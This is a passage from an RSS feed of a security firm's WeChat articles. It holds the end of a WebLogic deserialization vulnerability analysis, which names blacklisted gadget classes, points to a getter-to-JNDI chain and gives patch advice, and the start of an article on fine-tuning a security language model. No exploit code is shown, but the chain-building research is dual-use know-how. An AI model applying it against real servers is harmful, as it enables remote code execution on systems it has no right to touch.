style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="53" data-backw="578" data-ratio="0.09259259259259259" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=07e8f366&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQhwStwBNOIaXUibpyrxJGu8nLmqpnuq8mPpeic5icicKibo86ttvFC7kcmlkbUeqrLibcKKiaMEVxmQeQIg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n8" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">可以看到weblogic默认引用jackson相关jar包，但是版本比较老，相关class都没有继承Serializable，自然不能执行从原生反序列化到getter的调用链。</span></p><p cid="n9" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">weblogic每个季度都有补丁，下载weblogic上一个季度的补丁搜索下jackson相关jar包看下。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="17" data-backw="578" data-galleryid="" data-ratio="0.028703703703703703" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=78e7ccf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSfw3TND9svuHic58m8AhOJP8W69Q4akXo8Et09aibwYW5R4GFkYwEuIwzVaicxol8BtTFPZPBbBgHjg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n11" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">可以看到在最近的补丁里面weblogic已经更新了jackson的jar包，把这些jar包引入到idea中发现这个版本的jackson是可以执行从原生反序列化到getter的调用链，这条调用链的分析可以参考这篇文章：</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><a href="https://xz.aliyun.com/t/12509" target="_blank">https://xz.aliyun.com/t/12509</a></span></p><p cid="n12" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;text-align: left;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">现在需要在weblogic jar包中寻找一个继承了Serializable接口并且getter方法里面有危险操作的class，weblogic黑名单列表已把常见class中getter方法能rce的都已加入到黑名单列表中，例如“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager...”都在黑名单列表当中，只能另外找一个新的class了，经过几个小时的寻找，在某个class的getter方法中可以做到rce的效果，但是这个class只影响某一个发行版本，利用上不太通用。搜索后发现在之前的ctf中出现过从getter到jndi的调用链，并且相关的class不在weblogic黑名单中，</span><span style="letter-spacing: 0.544px;text-indent: 0em;outline: 0px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">文章地址：</span><span style="letter-spacing: 0.544px;text-indent: 0em;outline: 0px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><a href="https://y4er.com/posts/real-wolrd-ctf-old-system-new-getter-jndi-gadget/" target="_blank">https://y4er.com/posts/real-wolrd-ctf-old-system-new-getter-jndi-gadget/</a></span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;"></span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;outline: 0px;font-weight: bold;letter-spacing: 0.544px;text-indent: 0em;white-space: pre-wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span style="outline: 0px;font-size: 17px;visibility: visible;">修复建议</span></h2><p cid="n6" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="letter-spacing: 0.544px;text-indent: 0em;outline: 0px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">及时更新补丁，参考oracle官网发布的补丁：</span><span style="letter-spacing: 0.544px;text-indent: 0em;outline: 0px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><a href="https://www.oracle.com/security-alerts/cpuoct2023.html" target="_blank">https://www.oracle.com/security-alerts/cpuoct2023.html</a></span><br/></p><p cid="n6" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><br/></p><section style="outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;width: 677px;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(14px);"><img class="rich_pages wxw-img" data-ratio="1" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" data-type="png" data-w="12" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;text-align: center;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(-14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485220&amp;idx=1&amp;sn=44196d8369d02cae4f39cbfbc91ee955&amp;chksm=c0ddfd55f7aa7443c9d583520cfc17ba052bea1ebf12e5af2d7a1c90d92f4ee30e24029b7dcb&amp;scene=21#wechat_redirect" textvalue="网络安全领域大模型微调方法" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="outline: 0px;font-size: 14px;">网络安全领域大模型微调方法</span></a></h1><h1 style="margin-bottom: 14px;font-size: 22px;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485207&amp;idx=1&amp;sn=939c2f66768d68b8824f15f0648d8de6&amp;chksm=c0ddfd66f7aa7470d834d67de0c57cfd5b1ced815d69a9a5ea485a7cd67360a83a76d560b8d8&amp;scene=21#wechat_redirect" textvalue="源码模糊测试实战" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="color: var(--weui-LINK);outline: 0px;cursor: pointer;"><span style="outline: 0px;font-size: 14px;">源码模糊测试实战</span></a></h1><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485159&amp;idx=1&amp;sn=589428e1e56394461dedf5fee2e52c09&amp;chksm=c0ddfc96f7aa75801afacbbf7d04903d90fae0ace4a795b6c01a0794587ec8dc5923e25bc8fd&amp;scene=21#wechat_redirect" textvalue="代理端口复用在后渗透场景中的应用探究" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;color: var(--weui-LINK);cursor: pointer;"><span style="outline: 0px;font-size: 14px;">代理端口复用在后渗透场景中的应用探究</span></a></h1><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-align: center;"><br style="outline: 0px;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;color: rgb(27, 110, 201);letter-spacing: 2px;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;"><span msthidden="1" style="outline: 0px;color: rgb(27, 110, 201);"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;"><section class="mp_profile_iframe_wrp" style="outline: 0px;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/300?wx_fmt=png&amp;wxfrom=19" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="49" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1" data-weui-theme="light" data-biz_account_status="0"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">点击</span><span style="outline: 0px;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);"><strong style="outline: 0px;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">分享给小伙伴</span></section><section style="outline: 0px;"><br style="outline: 0px;"/></section><section style="outline: 0px;text-align: left;"><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">↓↓点击</span><span msthash="837306" msttexthash="88348169" style="outline: 0px;font-size: 14px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);"><strong style="outline: 0px;">阅读原文</strong></span><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">，了解更多墨云信息</span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4f6a7d41&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247485244%26idx%3D1%26sn%3D92e28f774000cc91d3ea8072316b9ed6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Oct 2023 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>网络安全领域大模型微调方法</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485220&amp;idx=1&amp;sn=44196d8369d02cae4f39cbfbc91ee955</link>
      <description>期待P-Tuning v2技术以及更多类似技术的不断涌现，它们将引领网络安全行业的未来发展，为每个服务商构建一个更加安全、可靠的数字世界。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7777777</span> <span>2023-09-01 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>期待P-Tuning v2技术以及更多类似技术的不断涌现，它们将引领网络安全行业的未来发展，为每个服务商构建一个更加安全、可靠的数字世界。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=63a6419a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQiaJOkjE9GaEKaTqItCk0IvMfCqn5aIyZpcLwhGk4icjEWOlaiaLlvwvtrGKddZUdh7A1450PGaDNgg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="54.21686746987952" data-cropx2="500" data-cropy1="0" data-cropy2="373.49397590361446" data-galleryid="" data-ratio="0.8363228699551569" data-s="300,640" data-type="jpeg" data-w="446" style="outline: 0px;visibility: visible !important;width: 74px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b0bd8e02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafecibSXaJYKEr60h31TRUOicdYD6RzewdFzj1fiawg9HD0kgaicibZwQmKaQ%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><section style="margin-right: 8px;margin-left: 8px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span style="outline: 0px;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;">VLab-实验室</span></strong></section><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 76px !important;" data-type="gifwxfrom=5wx_lazy=1" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></p><p cid="n4" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">当今高度信息化的时代，网络安全的重要性不言而喻。为了应对日益复杂的网络威胁，许多企业和组织都在寻求更加高效、精准的解决方案。而随着最近火热的ChatGPT出现和国内大模型的不断更新迭代，引发了无数中小企业纷纷布局各自垂直领域大模型以追赶新技术。墨云科技推出的大模型VackGPT采用P-Tuning v2架构微调训练而成，凭借其出色的性能和优势，引起了业界的广泛关注。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;outline: 0px;font-weight: bold;letter-spacing: 0.544px;text-indent: 0em;white-space: pre-wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span style="outline: 0px;font-size: 17px;visibility: visible;">什么是P-Tuning v2，在网络安全领域有何优势</span></h2><p cid="n6" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">P-Tuning v2基于P-Tuning发展而来，先简单介绍下P-Tuning技术起源和特点。P-Tuning是旨在解决大模型的对人工构造prompts模板特别敏感问题，简单来说，就是用户输入的prompts稍微多一个词或变化一个位置，则会造成生成结果差异性很大的问题，因此在输入层设计了一种连续可微的virtual token（类似于Prefix-Tuning)，目的是将输入的prompts的token转化成可学习的token。这样能更好的理解用户输入的不同形式的相同问题，相比Prefix Tuning，P-Tuning加入的可微的virtual token，仅限于输入层，并没有在每一层都加。</span></p><p cid="n7" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">P-Tuning虽然解决了prompts模板敏感问题，但在一些复杂自然语言理解（NLU）任务上，P-Tuning的效果不具备通用性。实际上，预训练的参数量不能小于百亿级参数量，否则无法达到预期效果。在网络安全领域，需要结合复杂场景和多任务来解决各个子任务。例如，给出一个漏洞描述文本进行模拟渗透任务中某个关键业务信息判断时，需要考虑三个子任务：NER实体提取、漏洞类型分类和渗透优先级判定。最终需要结合其他业务逻辑来判断是否优先渗透该漏洞，并为下一步的系统决策做准备。类似的跨任务应用在网络安全中非常常见。</span></p><p cid="n8" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">中小企业在垂直领域开发的专属模型时，往往难以获得百亿参数训练的GPU硬件算力，然而，P-Tuning v2技术的出现解决了上述问题。首先，P-Tuning 